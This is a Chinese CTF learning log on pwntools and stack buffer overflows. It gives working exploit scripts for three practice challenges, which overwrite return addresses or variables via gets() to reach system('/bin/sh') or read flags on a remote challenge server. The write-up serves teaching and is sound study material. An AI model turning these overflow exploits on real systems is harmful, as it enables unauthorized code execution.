PWN 学习日志(1): pwntools简单使用与栈溢出实践
常用的模块
| 模块 | 功能 |
|---|---|
| asm | 汇编与反汇编 |
| dynelf | 远程符号泄漏 |
| elf | 对elf文件进行操作 |
| memleak | 用于内存泄漏 |
| shellcraft | shellcode生成器 |
| gdb | 配合gdb调试 |
| utils | 一些实用的小功能 |
结合CTF例题
题目1
下载附件pwn1,使用checksec检查保护
$ checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
没有开启保护机制
终端输入objdump -d -M intel pwn1,反汇编后查看main函数
0000000000401142 <main>:
401142: 55 push rbp
401143: 48 89 e5 mov rbp,rsp
401146: 48 83 ec 10 sub rsp,0x10
40114a: 48 8d 3d b3 0e 00 00 lea rdi,[rip+0xeb3] # 402004 <_IO_stdin_used+0x4>
401151: e8 da fe ff ff call 401030 <puts@plt>
401156: 48 8d 45 f1 lea rax,[rbp-0xf]
40115a: 48 89 c7 mov rdi,rax
40115d: b8 00 00 00 00 mov eax,0x0
401162: e8 e9 fe ff ff call 401050 <gets@plt>
401167: 48 8d 45 f1 lea rax,[rbp-0xf]
40116b: 48 89 c7 mov rdi,rax
40116e: e8 bd fe ff ff call 401030 <puts@plt>
401173: 48 8d 3d 97 0e 00 00 lea rdi,[rip+0xe97] # 402011 <_IO_stdin_used+0x11>
40117a: e8 b1 fe ff ff call 401030 <puts@plt>
40117f: b8 00 00 00 00 mov eax,0x0
401184: c9 leave
401185: c3 ret
这段代码的开头是形成栈帧,sub rsp,0x10是在栈中开辟了一段数组,这个大小是15(0x10-1),call puts是调用puts函数,打印了一段字符串。rdi寄存器中存放的是gets的参数,即刚开的数组的首地址。gets向这个缓冲区数组读入数据但没有长度的限制,于是构成了缓冲区溢出。
IDA 反汇编结果
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s);
puts(s);
puts("ok,bye!!!");
return 0;
}
查看数组s在栈中的位置,因为关闭了ASLR,所以栈的地址是固定的。
-000000000000000F s db ?
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?) //
+0000000000000008 r db 8 dup(?) // 这里是main函数返回地址
+0000000000000010
+0000000000000010 ; end of stack variables
与此同时,程序中提供了一个fun函数,可以借助它来开启一个交互shell
// 0x401186
int fun()
{
return system("/bin/sh");
}
利用gets函数读入输入,用一段垃圾数据覆盖到返回地址前,最后将fun函数的首地址覆盖到main的返回地址,即可修改程序的执行流,转移到fun函数代码段执行。
在本地尝试
from pwn import *
context(os="Linux", arch="amd64")
p = process("./pwn1") # 运行程序,开启进程
p.recvuntil("please input") # 接收字符串,直到"please input"
fun_addr = 0x0000000000401186 # fun函数的地址
shellcode = "A" * (0x08 + 0x0f) + p64(fun_addr) # 垃圾数据+函数地址
p.sendline(shellcode) # 发送
p.interactive() # 交互
本地成功拿到了shell
$ python demo.py
[+] Starting local process './pwn1': pid 13787
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAA\x86\x11
ok,bye!!!
$ ls
demo.py pwn1 pwn1.id1 pwn1.nam
peda-session-pwn1.txt pwn1.id0 pwn1.id2 pwn1.til
题目2
下载附件 BUUCTF
$ checksec warmup_csaw_2016
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
使用IDA反汇编main函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
函数的开头开辟了两个数组,sprintf的作用是格式化字符串,下一行输出打印该字符串。查看该地址处的代码:
int sub_40060D()
{
return system("cat flag.txt");
}
可以看到是执行了一个命令,查看flag的文件内容。
main函数末尾存在一个gets函数,没有对读入长度作限制,因此可利用缓冲区溢出漏洞。
-0000000000000040 var_40 db 64 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
如上是栈的分布,计算要使用(0x08+0x40)个字节的垃圾数据覆盖到返回地址,最后将sub_40060D覆盖到返回地址
from pwn import *
context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",29242) # 远程连接
p.recvuntil(">")
fun_addr = 0x40060d
shellcode = "A" * (0x08 + 0x40) + p64(fun_addr)
p.sendline(shellcode)
p.interactive()
执行代码
$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 29242: Done
[*] Switching to interactive mode
flag{fe388bc3-c5c0-4cb7-8bdf-e14af238ca89}
拿到flag
题目3
下载附件 BUUCTF
$ checksec ciscn_2019_n_1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
无保护机制
使用IDA 反汇编main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
进入func函数
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
根据程序逻辑,若v2为11.28125则拿到flag
那么可以通过gets函数的缓冲区溢出来修改v2的值
-0000000000000030 ; D/A/* : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db 44 dup(?)
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
v1的首地址在-0000000000000030,v2在-0000000000000004,先用(0x30-0x04 )字节的数据覆盖到v2地址之前,将v2地址处的数据覆盖为11.28125即可,根据IEEE754规范,11.28125的16进制的形式为0x41348000
from pwn import *
context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",26379)
p.recvuntil("Let's guess the number.")
# 41 34 80 00
shellcode = "A" * (0x30 - 0x04) + p64(0x41348000)
p.sendline(shellcode)
p.interactive()
运行后拿到flag
$ python demo.py
[+] Opening connection to node4.buuoj.cn on port 26379: Done
[*] Switching to interactive mode
flag{9fcc4f83-6ddc-4a81-b14d-c0aec78372d6
总结
process函数可以打开一个本地的进程并且与其交互,参数是文件名。
send系列的函数可以发送字符,sendline会在末尾加上换行。
interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。
recv(numb=字节大小, timeout=default) : 接收指定字节数。
recvall() : 一直接收直到达到文件EOF。
recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。
recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。
recvrepeat(timeout=default) : 持续接受直到EOF或timeout。
简单的栈溢出题目中通常会有如gets这样的危险函数,对输入内容长度不加限制,从而导致溢出
PWN 学习日志(1): pwntools简单使用与栈溢出实践的更多相关文章
- Cortex-M3学习日志(六) -- ADC实验
上一次简单的总结了一下DAC方面的知识,好吧,这次再来总结一下ADC方面的东东.ADC即Analog-to-Digital Converter的缩写,指模/数转换器或者模拟/数字转换器.现实世界是由模 ...
- 软件测试学习日志———— round 2 Junit+intellj idea 安装及简单的测试使用
今天是软件测试的上机,主要内容是对junit的安装以及对一个简单类的测试实践.老师推荐用eclipse,但是我原来一直在 用intellj Idea,所以我试了试intellj Idea对junit的 ...
- Cortex-M3学习日志(五) -- DAC实验
终于逮了个忙里偷闲的机会,就再学一下LPC1768的外围功能吧,循序渐进是学习的基本规则,也许LPC1768的DAC与8位单片机16位单片机里面集成的DAC操作类似,但是既然这是懒猫的学习日志,就顺便 ...
- webpack2学习日志
webpack说容易也容易,说难也难,主要还是看个人,想学到什么样的程度,很多公司可能要求仅仅是会用就行,但是也有一些公司要求比较高,要懂一些底层的原理,所以还是要花一些时间的,看个人需求.这篇仅仅是 ...
- composer的安装和使用 学习日志
如果你做为一个phper,没有用过composer,那你真的不是一个合格的开发者.那么就来记录一下composer的学习日志 下面分享几个学习源头: composer中文网站:https://www. ...
- Mybatis学习--日志
学习笔记,选自Mybatis官方中文文档:http://www.mybatis.org/mybatis-3/zh/logging.html Logging Mybatis内置的日志工厂提供日志功能,具 ...
- Python 学习日志9月19日
9月19日 周二 今天是普通的一天,昨天也是普通的一天,刚才我差点忘记写日志,突然想起来有个事情没做,回来写. 今天早晨学习<Head First HTML and CSS>第十一章节“布 ...
- .NetCore微服务Surging新手傻瓜式 入门教程 学习日志---结构简介(二)
原文:.NetCore微服务Surging新手傻瓜式 入门教程 学习日志---结构简介(二) 先上项目解决方案图: 以上可以看出项目结构可以划分为4大块,1是surging的核心底层,2,3,4都可以 ...
- 基于Flask框架搭建视频网站的学习日志(三)之原始web表单
基于Flask框架搭建视频网站的学习日志(三)1.原始Web 表单 本节主要用于体验一下前端后端直接数据的交互,样例不是太完善,下一节会加入Flash处理,稍微完善一下页面 (备注:建议先阅读廖雪峰老 ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
随机推荐
- 《JavaScript高级程序设计》Chapter02 <script>元素
<script> 现代web应用程序通常将所有JavaScript引用放在<body>元素中的页面内容后面 <!DOCTYPE html> <html> ...
- 网页返回unicode源码 python解码详细步骤
刚入门python! 记录一下网页返回源码,中文部分被unicode编码,python如何处理 1.先提取编码后的数据(如果不提取正篇源码直接unicode解码,解码方法无法识别) 这个步骤属于逻辑问 ...
- 并发QPS公式估算
一.经典公式1: 一般来说,利用以下经验公式进行估算系统的平均并发用户数和峰值数据 1)平均并发用户数为 C = nL/T 2)并发用户数峰值 C' = C + 3*根号C C是平均并发用户数,n是l ...
- Leecode 141.环形链表(Java 快慢指针)
想法: 1:遍历链表,每次判断节点是否被访问过.(哈希表) 2:快慢指针(看题解之后) 两个指针pq都在head头指针开始(初始化): 快指针每次走两步,慢指针每次走一步,如果 ...
- sql 查询大数据 常用 50列优化
大数据量的问题是很多面试笔试中经常出现的问题,比如baidu google 腾讯 这样的一些涉及到海量数据的公司经常会问到. 下面的方法是我对海量数据的处理方法进行了一个一般性的总结,当然这些方法可能 ...
- 三分钟搭建一个自己的 ChatGPT (从开发到上线)
原文链接:https://icloudnative.io/posts/build-chatgpt-web-using-laf/ OpenAI 已经公布了 ChatGPT 正式版 API,背后的新模型是 ...
- 集训第二周计划:把cf近期的div2除了最后一题给切完
太菜了太菜了,弄个训练计划. 晚上没事干的时候我想把博客园皮肤改一下,搜着搜着不知道怎么回事点进去一些竞赛选手的博客,比如这个 https://www.cnblogs.com/soda-ma/p/13 ...
- AC自动机模板题 HDU - 2222
Keywords Search HDU - 2222 贴个vj的链接https://vjudge.net/problem/HDU-2222 题意:T组数据,n个单词,再给你一个串,看有几个单词在这个 ...
- .Net7 CLR的调用函数和编译函数
前言 .Net运行模型,无非就两个过程.一个是调用入口函数,另外一个就是编译入口函数.前者主调用,后者主编译. 概括 一:入口函数:RunMainInternal 所有的.Net程序,包括控制台,We ...
- 在windows系统中设置MySQL数据库
MySQL搭建 效果图 step1:下载安装包 https://downloads.mysql.com/archives/community/ step2:解压后即完成安装 step3:创建 my.i ...